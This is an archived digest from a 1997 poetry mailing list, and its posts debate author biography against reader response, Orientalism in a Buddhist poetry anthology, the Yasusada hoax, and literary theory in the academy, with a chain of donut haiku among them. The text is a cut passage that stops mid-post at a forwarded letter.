My perception (anecdotal--take it as you will) is that recent english dept. graduate students and newly-minted professors are less widely-read in literature in the english language than they were when I went to school before the flood. They are, however, much more knowledgeable about theory. I have several become aware that the person I'm talking to hasn't read very much of the author he's larding with interpretation. That, it seems to me, is a problem. At UCSD there are no required survey courses for undergraduates or graduate students in english, so far as I know. Perhaps this derives from disagreements about the

canon. Even if some non-white, non-male names were added to the canon it wouldn't substantially increase the relatively light reading burden imposed by such courses where they exist. And a generation of scholars and teachers could be assumed to be literate. I'm already ducking the pies that I hear whizzing in my direction.

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750. **Mark Weiss**
Re: the Green Knight / & Kieslowski
Wed 25 Jun 1997

Nope. But my friend did expend some effort in trying to find evidence of his existence.

> *Haven't heard mention of that Pearl Poet in long time. What I was wondering was -- the name of the chap revealed in dream, -- is that a real, known, documented figure?*
>
> *A lovely story, yep.*
>
> *d.i.*

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751. **David Bromige**
hey! Other mind here, please take the trouble to read it
Wed 25 Jun 1997

Kali, your misreading of my post makes me wonder if you really do think that others exist. Did you overlook the parenthetical reference to Kierkegaard & the necessary act of faith? Do you follow what I say about Pound's occasions for remorse not being mine, but that we meet, thru the poem, in Remorse? Well I recall when I first read that canto, knowing nothing abt Pound-the-person, being very moved...by what I _could_ get. The years I subsequently spent reading about Pound, & his poetry, made little difference to the original response.

I knew someone had been there when that poem was written. Rationally I know he wasnt addressing me, db. But I believe that poems by their integral being _are_ intended to be read as-if meant for me---your me, her me, or my me.

I dont understand whats so threatening about this belief (except of course, to people who make a living relating biography to poetry...I know that when I was teaching, this insight I would advance here, was lost to me. But it was there when in adolescence I first read poetry.) Nor do I think we get anywhere by the

accusation that I am privileged. I guess I could try to dumb myself down. Much that you say is certainly lost on me, demonstrating again the existence of other minds. The difficulty must revolve around an idea of the uses of a poem. Nowhere do I say others do not exist. But I do argue for the primacy of the poem, not the poet. The poem, words from elsewhere, comes to help you to know yourself more fully. What more do you want? Are you afraid of your self, do you need the poet's laundry-list to save you from his poem, from the way his poem works in you? Do you check it out with a private eye each time you begin falling in love?

I appreciate your concern for me, that I will be among those overthrown by less privileged persons. But why shut the stable-door? That horse has already gone. I dont follow how knowing Ed Dorn had prejudices that are socially inacceptable, would save me from the pleasure of, say, _Gunslinger_, & thereby enable me to survive the revolution that you anticipate.

I appreciate, too, therre may be an edge to my tone. It's only responding to the edge in yours, an edge that suggests a mind made completely up, & that projects its conclusions onto anything that looks, well, threatening. We could debate this civilly. David B

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752. **Mark Weiss**

Re: identity of the poet

Wed 25 Jun 1997

My pleasure in reading Donne's love poems is certainly enhanced by the knowledge of what that love cost him, and I wouldn't want to lose that extra spice. But the great pleasure in reading Donne comes from elsewhere. I cherish the individual poem for its intelligence and beauty. I can also reconstruct, if I wish, a small portion of the otherwise lost workings of the particular mind and spirit confronted with event and language, more so if I can expand the field of inquiry beyond the one poem to a larger corpus. For sure, no matter what I may learn about the man from other sources, in doing so I'm inventing, if not a biography, at least a hypothesis about what the man's presence might have been--I can carry on a conversation with the shade. A caveat--I'm likely to come a lot closer to the process of the man behind the words if I know enough about the import of words as conditioned by the larger environment of his time and place--historically, politically, medically, socially, what-have-you. But let's look at a more Giraldoesque example. What exactly does my knowledge that Kit Smart was mad as a hatter add to my appreciation of Jubilate Agno?

At 02:37 PM 6/25/97 MDT, you wrote:
>David writes;

>
>>But I am saying that the
>>biographies do not necessarily satisfy, & that I believe one has the right
>>to discard bio-info that in one's imaginative view, doesn't fit the poet
>>one constructs from the poetry.
>
>That's one way of reading, though it surely wouldn't work for me. Granted
>that we are all trapped inside our own heads, it still seems worth while for
>me to assume that there are Others out there--also trapped in their own
>heads--who are as real as I am.
>
>And, well.... now that I've started down the slippery slope of acknowledging
>that there are other intelligences out there and that I'm not the only
>consciousness in the universe, it starts to look like the certainty that
>each poem was written for *me* is not only unfounded, but also a mark of my
>privileged status as a particular kind of reader (*your* poem can't hurt
>*me* because *you* can't hurt *me* so I can damn well read it--and define
>*you*--however I want). I'm not sure what gives a person the "right" to do
>anything, *except* power of one kind or another.
>
>And even if you do sit in such a privileged position that your readings are
>safe and protected, if you read a poem however you want to, how do you ever
>*learn* anything or discover anything *new*? Language does what it does
>because it is--at some level--linked to a belief in identity, in naming, in
>the faith that something can come in from Outside. We can fuck with that
>belief--which I understand language poetry does--but we can't do without
>it... even when we build careers based on riffing on it. Guess it's that
>Af-Am theory background coming into play again, but, hey, I yam what I yam,
>and if you keep substituting your garden variety spud for that sweet potato,
>you're gonna miss all that good brown sugar and honey for sure. And, worse,
>you're gonna have a hard time predicting when the less privileged are ready
>to turn the system (and you) upside down and inside out.
>
>Yo, Joe, I don't think you and David are saying at all the same thing here.
>Reads to me that he's not just talking about *ignoring* a poet's bio, but
>MAKING ONE UP for the poet if the "real thing" doesn't fit his
>desires/expectations. I think other poets exist, and that they write poems,
>because I think other *people* exist. I admit we will never *know* these
>other people in the way we know ourselves, but there's a benefit in the
>attempt. The more cues/clues we can gather Outside, the richer our insides
>will become and (like most of us who *aren't* privileged in ways that allow
>us to ignore Outside meaning), the longer we'll survive.

>
>Kali
>
>

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753. Eliza McGrand- CVA Guest
Re: long article up for criticism if yr up for it!
Wed 25 Jun 1997

---

i liked the kumanyakaa readings i've seen, but he reads VERY fast, very softly, and the work is so dense and quick that audience and other readers all straining to catch what we could. it might have been venue or he might have been tired...

his work on the page reminds me of neon signs -- quick, intensely colored, you go by them quickly and they form part of a line that has its own delicate internal patterns based on slight movements as the lights pass, as well as the movements of the lights, as well as the movement of the colors... e

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754. Thomas Bell
Re: Killian at Naropa
Wed 25 Jun 1997

At 10:10 AM 6/25/97 -0500, you wrote:
>Got to hear Kevin Killian read last night at Naropa's Summer Writing Program
> - and to meet "The Man Himself" as well as the delightful Dodie Bellamy.
>
>Kevin did more than just read, I should think - he appropriated the podium
>with bravura, wit and a warm, excited energy. There were six poems, all of
>them marvelous: first, part of his series of Dario Argento/HIV poems ("the

Patrick, Kevin,or ?

Are these avialable in print or electronically anywhere?
tom bell

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755. **Aldon L. Nielsen**
Re: anecdotage
Wed 25 Jun 1997

My complaint had, and has, to do with straw men, unfounded assertions, unstated presuppositions, red herrings etc -- all of which are demonstrably on display in the letters I cited --

It is true that Simic has done much wonderful work to broaden the reading habits of Americans -- It is also true that I first read his works in graduate school -- It is also true that we read no theoretical texts in those classes -- It is also true that the graduate students I get in my seminars (from all sorts of universities I hasten to add) appear just as poorly read on the subject of theory as they are in other areas, including poetry --

and I suspect we might find it true that Simic has received as much print space as Spivak over the years if anyone cares to make an actual count (which says nothing as to the quality of such attention)

again, I want everybody to read more of everything -- I don't think that end is likely to be accomplished by the kind of thing I see in these letters in the Boston Review -- rather, I believe they will make some people take comfort in their lack or reading -- I don't know that -- Unlike Simic et al, I'm willing to advance this as a suspicion rather than as a certainty --

and yet again, if there is any evidence I might read anywhere that the "rise of theory" in the academy after '66 has anything whatsoever to do with the acceptance of the Yasusada submissions by individual editors, I'd certainly be happy to read it --

"lack of" for "lack or" above

and why is Spivak the whipping girl of this discussion? as opposed to Johnson or Kamuf??

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756. **Stephen C. Ellwood**
Re: hey! Other mind here, please take the trouble to read it
Wed 25 Jun 1997

On Wed, 25 Jun 1997, David Bromige wrote:

Do you follow what I say about
> Pound's occasions for remorse not being mine, but that we meet, thru the
> poem, in Remorse? Well I recall when I first read that canto, knowing
> nothing abt Pound-the-person, being very moved...by what I _could_ get.

> The years I subsequently spent reading about Pound, & his poetry, made
> little difference to the original response.

Maybe the new information made little difference to your original response, but what about subsequent readings? I think it's pretty important to recognize that, just as the biographical information we have on makers effects our reading and looking, so does our own (ever changing) biographical information.

> *I knew someone had been there when that poem was written. Rationally I know he wasnt addressing me, db. But I believe that poems by their integral being _are_ intended to be read as-if meant for me*
> *I dont understand whats so threatening about this belief*

I don't think it's this belief specifically so much as that we all get comitted to our ideas once we state them (often before). That seems to me one of the limitations/benifits of a forum like this. It forces people to be somewhat adversarial, like "If you don't disagree with me, what do you have to say?"

(except of course,
> to people who make a living relating biography to poetry...I know that when
> I was teaching, this insight I would advance here, was lost to me. But it
> was there when in adolescence I first read poetry.) Nor do I think we get
> anywhere by the accusation that I am privileged. I guess I could try to
> dumb myself down.

Privlidge doesn't mean you're smarter, buddy. Just luckier.

> *I do argue for the primacy of the poem, not the poet. The poem, words from elsewhere, comes to help you to know yourself more fully. What more do you want? Are you afraid of your self, do you need the poet's laundry-list to save you from his poem, from the way his poem works in you? Do you check it out with a private eye each time you begin falling in love?*

To me it souds like you are arguing for niether the primacy of the poem nor the poet, but for the primacy of the reader. Now that I can get behind. As for the question of needing the poet's laundry list to save {me} from {her} poems, I suggest that it may well do the opposite, that is, fall me in love with her even more deeply. And anyway, are you arguing AGAINST the laundry list? If so, why? Why not more, more fully drawn. After all, it is the poet, and not the poem, who is love-able. As in able to love. Unless the poet's dead, in which case the whole project is, to me, kind of intolerably painful, or really fantastical (reading is I guess)

> *I appreciate your concern for me, that I will be among those overthrown by less privileged persons. But why shut the stable-door? That horse has already gone. I dont follow how knowing Ed Dorn had prejudices that are socially inacceptable, would save me from the pleasure of, say, _Gunslinger_, & thereby enable me to survive the revolution that you anticipate.*

> *I appreciate, too, therre may be an edge to my tone. It's only responding to the edge in yours, an edge that suggests a mind made completely up, & that projects its conclusions onto anything that looks, well, threatening. We could debate this civilly. David B*

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757. **REBECCA WELDON**
Buddhist Poetry
Wed 25 Jun 1997

Early morning in Chiang Rai, Thailand I read the list. Now I join the fray. I unattached the Buddhist poetry attachment and was told my hard disk would be reformatted. The philosophic implications of this message notwithstanding I trashed it anyway. Buddhism and real life enjoy a love-hate relationship out here. How about a book of Christian poetry by Asians? I'm sure several exist.

Orientalism or the fascination of the so-called west for the so-called east is tolerable to the point where it supercedes fashion, it then needs redefinition. My neighbors wear Levis and crucifixes. Are they Christians? Is what I write Buddhist because I live in a Buddhist country or American because I was born there or feminist because I'm a woman or philosophic because I like questions? Am I a American Buddhist feminist metaphysicist?

O Lord, define me
for I am lost

rebecca sittiwong

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758. **David Israel**
(no subject)
Wed 25 Jun 1997

Rebecca Weldon checks in --

<< Early morning in Chiang Rai, Thailand I read the list. Now I join the fray. . . . Orientalism or the fascination of the so-called west for the so-called east is tolerable to the point where it supercedes fashion, it then needs redefinition. . . . >>

Interesting (& well said). Reliance upon the now-fashionable term "Orientalism," if resorted to as a handy kneejerk putdown (or method of avoiding serious consideration of what's in question), ain't (one may suppose) above critique.

<< My neighbors wear Levis and crucifixes. Are they Christians? Is what I write Buddhist because I live in a Buddhist country or American because I was born there or feminist because I'm a woman or philosophic because I like questions? Am I a American Buddhist feminist metaphysicist?

O Lord, define me for I am lost >>

lost & found

breath of fresh air

thanks for the Thai-gram --

(& do tell us more!)

cheers,
d.i.

Your body is a camel
that travvels to the Kaaba of the heart.
You were asinine not to go,
it's not that you have no ass.
If you have not gone to the Kaaba,
destiny will draw you there.
Don't run off babbling --
there's no escape from Allah
- Jelaluddin Rumi

& here's a verse I mentioned (last week or so . . .) --

Late, by myself, in the boat of myself,
no light and no land anywhere,
cloudcover thick. I try to stay
just above the surface, yet I'm already under
and living within the ocean.
- Rumi [this from Coleman Barks, *Open Secret"]

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759. **Hugh Steinberg**
Re: Komunyakaa
Wed 25 Jun 1997

Hoa Nguyen writes:
>
>-- one American poet writing on the American war in Vietnam not
>mentioned by Kali here is Yusef Kumanyakaa, in his book Dien Cau Dau
>(spelling?-- "dinky dow" in slang meaning "Crazy people"-- what the
>Vietnamese called Americans). I heard him read from it over ten years

>ago and it was a pivotal experience for me, particularly because he is a
>poet of color. I reccommend it highly. His later works do not deal
>with this subject matter and his work has gotten better-- more
>interesting, less strictly linear. (He won a pulitzer!)
>
I couldn't agree more about Yusef. He's also great to hang around with,
and tells the best stories.

Hugh Steinberg

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760. **George Thompson**
Re: Orientalism: reply to Dean Brink
Wed 25 Jun 1997

I had meant to stay away from this thread, but...

Having myself been a member [tho a marginal one, to be sure] of "the venerable" American Oriental Society, having attended its conferences and published in its journal, I suppose that I might be considered an Orientalist.

I don't like the term and have never applied it to myself, and whenever the subject of Said's sense of "orientalism" comes up among the staid philologists with whom I serve my time, I find myself siding with him.

But that doesn't make any difference. Here I am attempting to pass myself off as a "specialist" in the earliest form of Sanskrit, so-called language of the gods, a language sacred to Hindus, both in India and right here in the States too [many of them]. Very presumptuous. Very orientalist. Frequently very offensive,

My reading of Dean Brink's attack against Kent Johnson [given that I don't know what came earlier, and I don't know Johnson's anthology, I have to say: *but* I do know orientalism] is that Brink is trying to push his way into a position to be an "authoritative interpreter" of Buddhism and Japanese poetry for the relevant audience. In order to do this, of course, he has had to discredit his predecessors. And he has done so by pinning exoticism, new agism, and even racism on them.

I think that Kent Johnson has defended himself very well against Brink's attacks. He's made it clear, to me at least, that Brink is attacking a straw man [or perhaps a 'theoretical' man], without really having examined carefully either Johnson or his anthology.

Look, as others have already suggested, Buddhism is a tradition that began in India and has moved very skillfully and gracefully across *all kinds of* cultural borders and across many centuries. That it has taken hold among American

poets now may not be so much a sign of their paternalism and consumerism, as much as it is a sign of the resilience of the Buddhist message, which, by the way, Dean Brink has no authoritative claim on, whatsoever.

Certainly I cannot see how anyone can say that Buddhism is a product that the Chinese or the Japanese *alone* can speak for. And if Asian Americans who are also Buddhists want to speak up for Buddhism, then they should speak up. Instead of trashing other Buddhists.

idam agnaye, na mama [Vedic for "this is for the fire, not for me"]

George Thompson

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761. **David Israel**

Re: more haiku-gram

Wed 25 Jun 1997

[d.i.]:
(1)
forget the spam-po
what I'd really like to see
is donut haiku

(2)
buttermilk sugar
they knead me & they fry me
none taste the center

[Steven Marks]:
(3)
the center holds holes
something to nibble around
no mess on my hands

[d.i.]:
(4)
without the coffee
a donut is not done here
darkness to imbibe

[s.m.]:
(5)
nut to do but dough
coffee from a hell of beans
my do-dough dissolves

[d.i.]:
(6)
  nonesistence hides
  in the very word donut
  nut signifies naught

[Katherine Lynes]:
(7)
  yellow innards splooch
  bavarian dive bomber
  cannot hold center

[d.i.]:
(8)
  and what about do?
  do of course signifies dough
  a dough-naught for you!

[D.P. Salmon]:
(9)
  do-ough a de-ar
  a whole in one
  raison drops in bun

[Randolph Healy]:
(10)
  Sphere before torus
  when the centre was not holed
  goodbye nut hi ring

[L. MacMahon]:
(11)
  batter my heart and
  artery o sweet and fat
  confectionary

[Hugh Steinberg]:
(12)
  I love everyone
  says the old cop on his beat
  let 'em eat donuts.

[d.i.]:
(13)
  no start & no end

till you yourself nibble the
do (history) nut

[s.m.]:
(14)
from naut- to navel
my do-naught, my omphalos
which one to fill up?

[d.i.]:
(15)
sometimes dear madam
a donut's just a donut
remarked Sigmund Freud

(16)
docent of donuts!
the world is your museum
a baker's dozen

(17)
dulcet dolor dough
the do-do bird is extinct?
the bride said "I do!"

(18)
quoth the Prophet "seek
knowledge even in China!"
(not hyperbole)

(19)
that one didn't use
the word donut even once!
(what to make of it?)

(20)
that one only spoke
of its antecedent verse!
(how convoluted)

(21)
maybe donuts aren't
worthy of quite so much ink
(uhm is it non-ink?)

(22)
in shops everywhere

hundreds of donuts are sold
w/o one haiku

(23)
orientalist!
where are your brown-rice donuts?
(where's the wasabe?)

(24)
argumentative
is not what a donut is
(don't know nothing much)

(25)
like a potato
a rudimentary mind
is born of some need

(26)
what complications!
do (vocabulary) nut
do (translation) nut

(27)
do (a question) nut
do (a subtle answer) nut
"all things reach their end"

↑ Index

762. **Dean A. Brink**
Re: Buddhism and Racism
Thu 26 Jun 1997

In reply to Kent Johnson:

Perhaps it is fair to say that we both have been grabbing certain words of the other and making more than there is there out of them. As you suggested, this comes with the territory of writing against another and diatribe. Maybe it would be more productive if we focus more on the issues and less on the person. This may be partially my fault, for I based my critique of the anthology on a narrow selection of your words in defense of your editing policy. After you explained your situation as editor it indeed does not sound pernicious as my accusations have asserted. No malice, but still room for more apt reconsideration of your editing policies. And the more you write about the issues (instead of attacking me, which I can understand as your words have been under scrutiny and I do sympathize with you, just hope we can get to the meat of the issues before Hell

freezes over :) . Unfortunately, at this point, as the discussion has veered in this personal direction, your words of explanation still ring more of excuses than accounts of how the factual act of editing an all-white Zen anthology came to pass. Maybe I missed it, but have you discussed the "social tensions" that Lew mentions as possible reasons for the editorial choices (which would shift the discussion from aesthetics and ideology to the history of Buddhist groups and sects, and poetry coteries and publishing houses). BTW, Lew's tone in situating _Beneath a Single Moon_ is very similar to my own: sarcastic, high-toned, and in disbelief that such stark "omissions" of Asian Americans would be found in a collection based on the "stated ideal of comprehensive co-existence beneath a light that illuminates all evenly" (Lew, 582). (Also, I would like to retract all race-based distinctions that were read into my first posting, preferring cultural, discourse-based, non-exclusive affiliations.)

Again, I have not attacked the contents of your anthology but your defense of your editing policy, which itself speaks to the crux of the matter. As you write (sorry, I have to quote you to maintain a semblance of clarity):

> *If Mr. Lew (and*
> *the other co-signers of the BR response) had carefully considered the*
> *Shambhala anthology, they would have seen that a fundamental criteria*
> *for inclusion was a serious background in Buddhist study and*
> *practice. We were not interested, in the least, in poetry*
> *exhibiting the vague and stereotypical waft of the "Buddhistic." If*
> *anything, our anthology begins to point to the fact that reductive*
> *notions of the "Buddhistic" are one of the by-products of the*
> *"Orientalism" that Mr. Lew denounces. There is simply no way of*
> *boiling down Buddhist artistic expression to any particular*
> *"Buddhistic" characteristics of tone, content, or style.*

Again, like you and I, you and Lew would seem to be not communicating clearly.
When you say
>that a fundamental criteria
>for inclusion was a serious background in Buddhist study and
>practice,
I hear a 'certain idea of' serious background.... I also hear a requisite _self-conscious_ foregrounding of Buddhist practice that may seem (and this is only conjecture from my experiences in Japan and the opinion of Japanese friends) absurdly "forced" (what in Japanese is called "riding the tone" [choushi ni notte iru]). I don't know if this is one of the charges in the BG piece, as I haven't seen it yet.
The "riding the tone" in much of the Naropa, Snyder and what Lew wittily calls a "Caucasian Zen circle" poetry, amounts to what seems to me the

ongoing "winking" (to use a technical term) in some of the poetry (perhaps most prominent in Snyder's style of poetry).

Examples of this winking are in the remainder of this paragraph above:

> *We were not interested, in the least, in poetry exhibiting the vague and stereotypical waft of the "Buddhistic." If anything, our anthology begins to point to the fact that reductive notions of the "Buddhistic" are one of the by-products of the "Orientalism" that Mr. Lew denounces. There is simply no way of boiling down Buddhist artistic expression to any particular "Buddhistic" characteristics of tone, content, or style.*

Like accusations that I am Orientalist, this twisted logic "winks" at one. It suggests that maybe this vein of American Buddhist culture that your anthology represents is antagonistic to Asian Americans, placing vivid practice first. For expects that one conform to both "serious practice" and not non-reducible "Buddhistic" characteristics in poetry. The primary criteria, and bottom line, is a foregrounded practice.

Along these lines, a question that then arises is whether this winking activism fulfills "spiritual" (interior? amorphous? epistemological?) desires, or interfaces with social concerns, or ?.

As a specific example by which we might merge the poetic and the "discursive framing" issues here is the question of how haiku (not senryu, which are not "serious" and usually used for the sake of invective, satire, parody and comedy) do or do not carry Orientalist overtones in English? (This is a question designed to focus discussion, not reach absolute conclusions.) More specifically, in practice, does the writing and evaluation of haiku in English demand a primarily Buddhist (by whatever school of thought one defines this) epistemological approach to language? Are haiku in English metonymical representations of Buddhist practice? And, in the translation of culture in America, when a group, religious or social, attempts to sustain an image of another culture, to what degree is that "other" culture necessarily confined to a narrow range of interpretation, is stereotyped, and made part of a unilateral and expropriative relationship? And does haiku constitute an example of such a discourse and practice that collapses formal and ideological objectives? Then, are the values cultivated by the practice of writing haiku Orientalist, for instance, in the sense of speaking longingly and Romantically of attaining an imaged exemplar Asian subject (be like Basho, be like Dogen, be like Snyder who wants to be like the above) while quite selectively engaging the materials and omitting historical context (like the volume of haiku and waka translated without head notes, dates, any clue of context)?

dean brink

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763. **Aldon L. Nielsen**

Re: "What the hell are you guys talking about?"

Thu 26 Jun 1997

Someone will have to explain to me how to produce a reading of my citation of Simic's citation of "Yasusada" that can in any way be accurately characterized as approving --

I spoke of recurring problems in several of the letters to the BR -- the posts since have for some reason narrowed to Simic -- It takes no critical squeezing to see that in Simic's last paragraph he is making a truth claim about the relationship of the "Yasusada" recption to cpntemporary critical practice. Nor does it take any critical squeezing to recognize that Weinberger is making a truth claim about English departments broken into contradictory postmodernisms, one of which, here named "deconstruction," doesn't want to read literature. One point I tried to make is that a reading of certain well-known "deconstructors" will reveal a passion for the reading of literature -- I mentioned, as one example, the essays by Derrida on Joyce, Celan, Jabes -- I might add here the following quote from derrida:

"I have never tried to confuse literature and philosophy or to reduce philosophy to literature. I am very attentive to the difference of space, of history, of historical rites, of logic, of rhetoric, protocals and argumentation. I try to be attentive to this distinction as much as possible. Literature interests me, supposing that, in my own way, I practise it or that I study it in others precisely as something which is the complete opposite of the expression of private life. . . . I am not able to separate the invention of literature, the history of literature, from the history of democracy."

now, at the risk of boring all with all this repetition -- My complaint is that several of the letters contain remarkable misrepresentations and obvious logical fallacies -- In the very act of attributing a narrowing of reading practices to "theory," the writers of those letters betray an ignorance of the theoretical texts that appear to be the source of their complaints -- My ioriginal point was that the reception of "Yasusada" has become something which these writers will blame upon whatever it is that they don't happen to like in contemporary literary sociology. I do not believe that to be an effective way of understanding what is going on in our readings of Yasusada, nor do I believe that to be an effective way of addressing the many problems that do exist in the academic study of literature --

at this point, I'll simply invite any who are interested to read the full text of the responses in the BR and decide for themselves if I have in any way misread

them -- the responses are considerably broader in range than one might gather from the disucssion here (for example -- one opines that Marjorie herself might be involved in the distribution network for Yasusada -- and EW adds that we may all be Yasusada -- which may cause problems for Wesleyan, I suppose)

yours in brotherhood,
Araki

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764. **Stephen C. Ellwood**
Re: Light from Another Country
Thu 26 Jun 1997

I just wanted to tell you that I am Emily Vey Drunk, not Stephen Ellwood, no matter how much I wish that were not the case. That's how it is. I'm Emily Vey Error. Not Stephen Rejection Elwood.

Yours in diligence,

EVD.

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765. **Charles Alexander**
gleaning smart
Thu 26 Jun 1997

Mark Weiss, you said:

"But let's look at a more Giraldoesque example. What exactly does my knowledge that Kit Smart was mad as a hatter add to my appreciation of Jubilate Agno?"

Perhaps nothing, but reading Samuel Johnson saying that Smart was thought mad because he prayed in the streets, and having Johnson say he would "as lief pray with Kit Smart as with any man," knowing a bit about Johnson, and having read Smart's also magnificent "Song to David" adds greatly to my appreciation of Jubilate Agno, and to my knowledge of prayer and madness.

charles

chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision handmade and trade editions of contemporary innovative writing [redacted] :: http://personal.riverusers.com/~chax/

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766. **George Bowering**

Re: grad school and the writers union

Thu 26 Jun 1997

I didnt have a point. I was just listing some names in reply to the question. Certainly I cannot imagine any other reason for a poet to be in the university than the one you mention.

> *What's the point, George? Either these folks (none schooled in the craft in universities, I think) have taught because it's their and the academy's nature or it's a good gig for the otherwise marginally employable (myself at times included).*
>
> *At 11:17 PM 6/24/97 -0700, you wrote:*
>
> *Has anyone ever taken a count of writers (serious writers--who'll do it no matter what) who are in the academy and out? I'd be willing to bet most are out. The in-ones might be more visible, but are they a majority, really?*
>
> *DT*
>
> *Well, let's look at the generation just before mine. The writers inside the academy include Robert Creeley, Charles Olson, Ed Dorn, Robert Kelly, Amiri Baraka, Jerome Rothenberg, D.G. Jones, Louis Dudek, Robin Blaser, Allen Ginsberg, Anselm Hollo, Archie Shepp. William Eastlake, not many women.*
>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]
> *e-mail:* [redacted]

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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767. **George Bowering**
Re: Personal Identity as text vs Stands On Its Own
Thu 26 Jun 1997

> *I just wanted to register my agreement with Kali Tal's description of the importance of the identity of the author. To me reading poetry and prose, and perhaps to an even larger extent looking at visual art, is a project of untangling the personality/personal insecurities etc. of the author first and foremost.*

Would that mean that you get nothing from reading _The Iliad_?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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768. **Kali Tal**
Re: hey! Other mind here, please take the trouble to read it
Thu 26 Jun 1997

> *Kali, your misreading of my post makes me wonder if you really do think that others exist.*

Gnaargh. And *what* kind of rhetorical flourish was *that*, David? Civility, like civilization begins at home. But given your description of your mode of reading, it seems clear that you are simply doing what you say you do: inventing the author. The Kali to whom you respond exists only in your imagination, her form is dictated solely by your response to my posts. Question is, why do you need to invent me in this particular fashion?

I read what you wrote. I overlooked neither the Kierkegaard reference nor your homage to Pound. I just don't *agree* with you and, frankly, I find your methods *as described in your posts*... unsound. [CAMERA PANS to the moo-moo draped figure of MARLON BRANDO, as Kurtz, out of control, about to recite "The Hollow Men," a poem Eliot wrote specifically *to* and *for* Francis Ford Coppola.]

> *The years I subsequently spent reading about Pound, & his poetry, made little difference to the original response.*

Well, uh, no, it wouldn't, would it? The original response being always already the original response. But you aren't saying, can't actually be saying that you read Pound over and over and always the same, can you? And if you do bring new information/insight to your reading of Pound, you can't mean that it springs full-blown from your own forehead, can you? Or are we somehow separating "response" from "reading" here in a way that makes "response" emotional (read: true) and "reading" intellectual (read: false or--if we're charitable--irrelevant)?

I can't help what things remind me of. I could, of course, help telling you about it, but I won't. Since you're already offended (and when I was being so polite, too) I'll risk irritating you further. This "response" to poetry (which in your construction appears to take place at some deeper and more meaningful level than contextualization) doesn't seem so different to me from the hard-on some guys get when they thumb through fuck books. I mean, that's a "response," right? And it doesn't matter who the woman (or the guy) in the photo is--their bio is completely and wholly irrelevant because the reader is in it for *himself* (or herself, as the case may be). You can jerk off over a photo, but it doesn't mean that you're exactly "meeting through the porn." I think that focusing wholly on your own response to a poem (and the bio be damned) objectifies the author and makes him/her merely a vehicle for your own pleasure. What you feel might be *real*, but frankly, my dear, who gives a damn? In the end, all you've got left is a sticky piece of paper and the need to do it again and again because it never, finally, satisfies.

>I dont understand whats so threatening about this belief
...
>Are you afraid of your self, do you need the poet's laundry-list to
>save you from his poem, from the way his poem works in you? Do you check it
>out with a private eye each time you begin falling in love?

There's nothing *threatening* about this belief at all. It's merely tiresome and, in my opinion, wrong-headed for reasons I have already detailed. I do *not* privilege emotion over intellect; in fact, I find them inseparable. I know a lot of people these days who interrogate their arousal at materials they find intellectually objectionable--seems to me a healthy practice and one which results in a more fully realized (and mutually pleasurable) connection to the erotic. And though I don't hire private detectives when I fall in love I, like many other folks, do realize that I'm not at the peak of my decision-making prowess during the period of most intense hormone poisoning. I've learned that it's wise to listen to my more clear-headed friends before "following my heart." While I don't think emotions are refutable, I surely do think they are fallible.

> *Nor do I think we get*
> *anywhere by the accusation that I am privileged.*

Accusation? Where? I stated that certain kinds of reading implied a privileged position. If you don't think that they do, argue the case.

> *I dont follow how knowing Ed Dorn had prejudices that are*
> *socially inacceptable, would save me from the pleasure of, say,*
> *_Gunslinger_, & thereby enable me to survive the revolution that you*
> *anticipate.*

There are certain *kinds* of pleasures that one might want to renounce, or at least to take in moderation with an awareness of their consequences. My own moral compass doesn't have a heading called "socially acceptable"; I make ethical and moral judgements based on a core set of beliefs about the intrinsic value of human beings and our place in the world. So it's hard for me to find pleasure--and to take pleasure in taking pleasure--in an environment which fosters racism or sexism. I'm interested in moral bearings, not moral absolutes. For instance, I make a distinction between the basic sexism underpinning most Hollywood productions, and particularly evil manifestations of sexism so that I can enjoy watching pop trash like _Dusk Til Dawn_ or _Batman_, while heartily disliking pop trash like _True Lies_ or _My Best Friend's Wedding_. I know what I like, and I know why I like it. (I'm consistent, if nothing else.) I'm not saying that Dorn's poetry shouldn't be read or enjoyed. But I *do* think it ought to be placed in context, and not *simply* enjoyed without further interrogation.

> *an edge that suggests a mind made completely up, &*
> *that projects its conclusions onto anything that looks, well, threatening.*

I am certain of what I *think*, and I state it as clearly and forcefully as possible. I am rarely certain that I am right or that I have the last word. However, you haven't given me any arguments or explanations that are persuasive enough to make me change my mind. Perhaps that's not simply my stubbornness, but also your failure to communicate.

Kali

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769. REBECCA WELDON
Oriental, Orientalism, Orientalist
Thu 26 Jun 1997

The words oriental, orientalism, orientalist reflect a world view centered in Europe of the 19th century. This view places peoples and cultures from the Middle East, Iran, the Indian Subcontinent, Southeast Asia and Eastern Asia all in the same general geographic region: the orient. This region lay beyond the

Grecian borders of Europe and it's definition alludes to a different way of thought, i.e. the "oriental" mind.

Orientalism, I believe has legitimate use as a descriptor, since it expresses a fascination with those things "oriental", this fascination being on a philosophical level with fashion, the proponents of which are not primarily known for their erudition.

Orientalists, however and to be sure, possess more than an elementary knowlege of geography, witnessed by the outcry of Orientalists on our list. Certainly a scholar of one or several oriental languages would have more than a superficial knowlege of the region.

Therefore, I plan to found the Western Society of Thailand, to be joined by other scholars for the purpose of investigating the languages, cultures and religions of Europe and North America. This would include a detailed inquiry into the nature of Oriental Societies and Buddhist Poets. I would then be more qualified to comment upon these controversial subjects.

Yours in sincerity,
etc.
etc.
etc.

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770. **KENT JOHNSON**
(Fwd) Eliot Weinberger
Thu 26 Jun 1997

Folks: I just received this from Eliot Weinberger. He has given his permission to forward to the list. It touches on some issues that have been recently under discussion here. Provocative and honest, as is EW's style. Kent

Dear Kent--

Thanks for sending me the various letters from Buffalo and Cap-L concerning Orientalism, your American Buddhist anthology, Yasusada, etc. Buffaloes, however, tend to stare stolidly into the dirt, paw the ground, and charge. I'm afraid they will not take your (wholly invented) description of Simic & me besieged by Dutch groupies as satirical. Simic & I did discuss Yasusada in Rotterdam. His position was essentially: 1) nothing against "hoaxes" per se; 2) Yasusada is a mediocre poet; 3) tremendous anger that the only way a foreign poet can be published these days is if there is a melodramatic biographical story attached to the work. On the last point he's quite right-- what I want to emphasize is his rage is directed against the current nationalism of US poetry, and not against Yasusada. I'm not sure this is clear in his Boston Review article.

